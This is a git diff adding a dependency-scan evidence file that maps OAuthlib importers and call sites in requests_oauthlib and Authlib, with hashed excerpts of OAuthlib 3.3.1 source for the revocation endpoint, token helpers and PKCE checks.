b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt new file mode 100644 index 000000000..80e181e12 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt @@ -0,0 +1,484 @@ +exit_code: 0 +started: 2026-09-30T07:49:11.171Z +ended: 2026-09-30T07:49:36.606Z + +stdout: +# installed closure excluding OAuthlib itself and installer tooling: 10682 Python sources searched; parse errors: 0 +REVIEWED TEXT ONLY func_timeout/py2_raise.py:5: invalid syntax; sha256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 + + +# Python2 allows specifying an alternate traceback. +def raise_exception(exception): + raise exception[0] , None , exception[0].__traceback__ + +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): +# recipe: 12 Python sources searched; parse errors: 0 +## OAuthlib literal importers with aliases, from-imports and bound call sites +## Advisory-related source references outside OAuthlib +# Entered namespaces and advisory implementation: file hashes and source lines +oauthlib/__init__.py sha256 ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4 +oauthlib/__init__.py:1: """ +oauthlib/__init__.py:2: oauthlib +oauthlib/__init__.py:3: ~~~~~~~~ +oauthlib/__init__.py:4: +oauthlib/__init__.py:5: A generic, spec-compliant, thorough implementation of the OAuth +oauthlib/__init__.py:6: request-signing logic. +oauthlib/__init__.py:7: +oauthlib/__init__.py:8: :copyright: (c) The OAuthlib Community +oauthlib/__init__.py:9: :license: BSD-3-Clause, see LICENSE for details. +oauthlib/__init__.py:10: """ +oauthlib/__init__.py:11: import logging +oauthlib/__init__.py:12: from logging import NullHandler +oauthlib/__init__.py:13: +oauthlib/__init__.py:14: __author__ = 'The OAuthlib Community' +oauthlib/__init__.py:15: __version__ = '3.3.1' +oauthlib/__init__.py:16: +oauthlib/__init__.py:17: logging.getLogger('oauthlib').addHandler(NullHandler()) +oauthlib/__init__.py:18: +oauthlib/__init__.py:19: _DEBUG = False +oauthlib/__init__.py:20: +oauthlib/__init__.py:21: def set_debug(debug_val): +oauthlib/__init__.py:22: """Set value of debug flag +oauthlib/__init__.py:23: +oauthlib/__init__.py:24: :param debug_val: Value to set. Must be a bool value. +oauthlib/__init__.py:25: """ +oauthlib/__init__.py:26: global _DEBUG # noqa: PLW0603 +oauthlib/__init__.py:27: _DEBUG = debug_val +oauthlib/__init__.py:28: +oauthlib/__init__.py:29: def get_debug(): +oauthlib/__init__.py:30: """Get debug mode value. +oauthlib/__init__.py:31: +oauthlib/__init__.py:32: :return: `True` if debug mode is on, `False` otherwise +oauthlib/__init__.py:33: """ +oauthlib/__init__.py:34: return _DEBUG +oauthlib/oauth1/__init__.py sha256 e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253 +oauthlib/oauth1/__init__.py:1: """ +oauthlib/oauth1/__init__.py:2: oauthlib.oauth1 +oauthlib/oauth1/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth1/__init__.py:4: +oauthlib/oauth1/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 1.0 Client +oauthlib/oauth1/__init__.py:6: and Server classes. +oauthlib/oauth1/__init__.py:7: """ +oauthlib/oauth1/__init__.py:8: from .rfc5849 import ( +oauthlib/oauth1/__init__.py:9: SIGNATURE_HMAC, SIGNATURE_HMAC_SHA1, SIGNATURE_HMAC_SHA256, +oauthlib/oauth1/__init__.py:10: SIGNATURE_HMAC_SHA512, SIGNATURE_PLAINTEXT, SIGNATURE_RSA, +oauthlib/oauth1/__init__.py:11: SIGNATURE_RSA_SHA1, SIGNATURE_RSA_SHA256, SIGNATURE_RSA_SHA512, +oauthlib/oauth1/__init__.py:12: SIGNATURE_TYPE_AUTH_HEADER, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, +oauthlib/oauth1/__init__.py:13: Client, +oauthlib/oauth1/__init__.py:14: ) +oauthlib/oauth1/__init__.py:15: from .rfc5849.endpoints import ( +oauthlib/oauth1/__init__.py:16: AccessTokenEndpoint, AuthorizationEndpoint, RequestTokenEndpoint, +oauthlib/oauth1/__init__.py:17: ResourceEndpoint, SignatureOnlyEndpoint, WebApplicationServer, +oauthlib/oauth1/__init__.py:18: ) +oauthlib/oauth1/__init__.py:19: from .rfc5849.errors import ( +oauthlib/oauth1/__init__.py:20: InsecureTransportError, InvalidClientError, InvalidRequestError, +oauthlib/oauth1/__init__.py:21: InvalidSignatureMethodError, OAuth1Error, +oauthlib/oauth1/__init__.py:22: ) +oauthlib/oauth1/__init__.py:23: from .rfc5849.request_validator import RequestValidator +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:1: """ +oauthlib/oauth2/__init__.py:2: oauthlib.oauth2 +oauthlib/oauth2/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth2/__init__.py:4: +oauthlib/oauth2/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 2.0 Client +oauthlib/oauth2/__init__.py:6: and Server classes. +oauthlib/oauth2/__init__.py:7: """ +oauthlib/oauth2/__init__.py:8: +oauthlib/oauth2/__init__.py:9: from .rfc6749.clients import ( +oauthlib/oauth2/__init__.py:10: BackendApplicationClient, +oauthlib/oauth2/__init__.py:11: Client, +oauthlib/oauth2/__init__.py:12: LegacyApplicationClient, +oauthlib/oauth2/__init__.py:13: MobileApplicationClient, +oauthlib/oauth2/__init__.py:14: ServiceApplicationClient, +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:32: FatalClientError, +oauthlib/oauth2/__init__.py:33: InsecureTransportError, +oauthlib/oauth2/__init__.py:34: InvalidClientError, +oauthlib/oauth2/__init__.py:35: InvalidClientIdError, +oauthlib/oauth2/__init__.py:36: InvalidGrantError, +oauthlib/oauth2/__init__.py:37: InvalidRedirectURIError, +oauthlib/oauth2/__init__.py:38: InvalidRequestError, +oauthlib/oauth2/__init__.py:39: InvalidRequestFatalError, +oauthlib/oauth2/__init__.py:40: InvalidScopeError, +oauthlib/oauth2/__init__.py:41: MismatchingRedirectURIError, +oauthlib/oauth2/__init__.py:42: MismatchingStateError, +oauthlib/oauth2/__init__.py:43: MissingClientIdError, +oauthlib/oauth2/__init__.py:44: MissingCodeError, +oauthlib/oauth2/__init__.py:45: MissingRedirectURIError, +oauthlib/oauth2/__init__.py:46: MissingResponseTypeError, +oauthlib/oauth2/__init__.py:47: MissingTokenError, +oauthlib/oauth2/__init__.py:48: MissingTokenTypeError, +oauthlib/oauth2/__init__.py:49: OAuth2Error, +oauthlib/oauth2/__init__.py:50: ServerError, +oauthlib/oauth2/__init__.py:51: TemporarilyUnavailableError, +oauthlib/oauth2/__init__.py:52: TokenExpiredError, +oauthlib/oauth2/__init__.py:53: UnauthorizedClientError, +oauthlib/oauth2/__init__.py:54: UnsupportedGrantTypeError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/__init__.py:69: from oauthlib.oauth2.rfc8628.endpoints import DeviceAuthorizationEndpoint, DeviceApplicationServer +oauthlib/oauth2/__init__.py:70: from oauthlib.oauth2.rfc8628.grant_types import DeviceCodeGrant +oauthlib/common.py sha256 39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0 +oauthlib/common.py:185: return str(int(time.time())) +oauthlib/common.py:186: +oauthlib/common.py:187: +oauthlib/common.py:188: def generate_token(length=30, chars=UNICODE_ASCII_CHARACTER_SET): +oauthlib/common.py:189: """Generates a non-guessable OAuth token +oauthlib/common.py:190: +oauthlib/common.py:191: OAuth (1 and 2) does not specify the format of tokens except that they +oauthlib/common.py:192: should be strings of random characters. Tokens should not be guessable +oauthlib/common.py:193: and entropy when generating the random characters is important. Which is +oauthlib/common.py:194: why SystemRandom is used instead of the default random.choice method. +oauthlib/common.py:195: """ +oauthlib/common.py:196: rand = SystemRandom() +oauthlib/common.py:197: return ''.join(rand.choice(chars) for x in range(length)) +oauthlib/common.py:198: +oauthlib/common.py:199: +oauthlib/common.py:200: def generate_signed_token(private_pem, request): +oauthlib/common.py:201: import jwt # noqa: PLC0415 +oauthlib/common.py:202: +oauthlib/common.py:203: now = datetime.datetime.utcnow() +oauthlib/common.py:204: +oauthlib/common.py:205: claims = { +oauthlib/common.py:206: 'scope': request.scope, +oauthlib/common.py:207: 'exp': now + datetime.timedelta(seconds=request.expires_in) +oauthlib/common.py:208: } +oauthlib/common.py:209: +oauthlib/common.py:210: claims.update(request.claims) +oauthlib/common.py:211: +oauthlib/common.py:212: token = jwt.encode(claims, private_pem, 'RS256') +oauthlib/common.py:213: token = to_unicode(token, "UTF-8") +oauthlib/common.py:214: +oauthlib/common.py:215: return token +oauthlib/common.py:216: +oauthlib/common.py:217: +oauthlib/common.py:218: def verify_signed_token(public_pem, token): +oauthlib/common.py:219: import jwt # noqa: PLC0415 +oauthlib/common.py:220: +oauthlib/common.py:221: return jwt.decode(token, public_pem, algorithms=['RS256']) +oauthlib/common.py:222: +oauthlib/common.py:223: +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:1: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:2: oauthlib.oauth2.rfc6749.endpoint.revocation +oauthlib/oauth2/rfc6749/endpoints/revocation.py:3: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:4: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:5: An implementation of the OAuth 2 `Token Revocation`_ spec (draft 11). +oauthlib/oauth2/rfc6749/endpoints/revocation.py:6: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:7: .. _`Token Revocation`: https://tools.ietf.org/html/draft-ietf-oauth-revocation-11 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:8: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:9: import logging +oauthlib/oauth2/rfc6749/endpoints/revocation.py:10: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:11: from oauthlib.common import Request +oauthlib/oauth2/rfc6749/endpoints/revocation.py:12: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:13: from ..errors import OAuth2Error +oauthlib/oauth2/rfc6749/endpoints/revocation.py:14: from .base import BaseEndpoint, catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:15: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:16: log = logging.getLogger(__name__) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:17: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:18: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:19: class RevocationEndpoint(BaseEndpoint): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:20: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:21: """Token revocation endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:22: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:23: Endpoint used by authenticated clients to revoke access and refresh tokens. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:24: Commonly this will be part of the Authorization Endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:25: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:26: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:38: @catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:39: def create_revocation_response(self, uri, http_method='POST', body=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:40: headers=None): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:41: """Revoke supplied access or refresh token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:42: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:43: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:44: The authorization server responds with HTTP status code 200 if the +oauthlib/oauth2/rfc6749/endpoints/revocation.py:45: token has been revoked successfully or if the client submitted an +oauthlib/oauth2/rfc6749/endpoints/revocation.py:46: invalid token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:47: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:48: Note: invalid tokens do not cause an error response since the client +oauthlib/oauth2/rfc6749/endpoints/revocation.py:49: cannot handle such an error in a reasonable way. Moreover, the purpose +oauthlib/oauth2/rfc6749/endpoints/revocation.py:50: of the revocation request, invalidating the particular token, is +oauthlib/oauth2/rfc6749/endpoints/revocation.py:51: already achieved. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:52: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:53: The content of the response body is ignored by the client as all +oauthlib/oauth2/rfc6749/endpoints/revocation.py:54: necessary information is conveyed in the response code. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:55: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:56: An invalid token type hint value is ignored by the authorization server +oauthlib/oauth2/rfc6749/endpoints/revocation.py:57: and does not influence the revocation response. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:58: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:59: resp_headers = { +oauthlib/oauth2/rfc6749/endpoints/revocation.py:60: 'Content-Type': 'application/json', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:61: 'Cache-Control': 'no-store', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:62: 'Pragma': 'no-cache', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:63: } +oauthlib/oauth2/rfc6749/endpoints/revocation.py:64: request = Request( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:84: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:85: def validate_revocation_request(self, request): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:86: """Ensure the request is valid. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:87: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:88: The client constructs the request by including the following parameters +oauthlib/oauth2/rfc6749/endpoints/revocation.py:89: using the "application/x-www-form-urlencoded" format in the HTTP +oauthlib/oauth2/rfc6749/endpoints/revocation.py:90: request entity-body: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:91: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:92: token (REQUIRED). The token that the client wants to get revoked. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:93: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:94: token_type_hint (OPTIONAL). A hint about the type of the token +oauthlib/oauth2/rfc6749/endpoints/revocation.py:95: submitted for revocation. Clients MAY pass this parameter in order to +oauthlib/oauth2/rfc6749/endpoints/revocation.py:96: help the authorization server to optimize the token lookup. If the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:18: def code_challenge_method_s256(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:19: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:20: If the "code_challenge_method" from `Section 4.3`_ was "S256", the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:21: received "code_verifier" is hashed by SHA-256, base64url-encoded, and +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:22: then compared to the "code_challenge", i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:23: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:24: BASE64URL-ENCODE(SHA256(ASCII(code_verifier))) == code_challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:25: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:26: How to implement a base64url-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:27: function without padding, based upon the standard base64-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:28: function that uses padding. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:29: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:30: To be concrete, example C# code implementing these functions is shown +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:31: below. Similar code could be used in other languages. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:32: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:33: static string base64urlencode(byte [] arg) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:34: { +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:35: string s = Convert.ToBase64String(arg); // Regular base64 encoder +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:36: s = s.Split('=')[0]; // Remove any trailing '='s +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:37: s = s.Replace('+', '-'); // 62nd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:38: s = s.Replace('/', '_'); // 63rd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:39: return s; +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:40: } +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:41: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:42: In python urlsafe_b64encode is already replacing '+' and '/', but preserve +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:65: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:490: challenge = self.request_validator.get_code_challenge(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:491: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:492: if challenge is not None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:493: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:494: raise 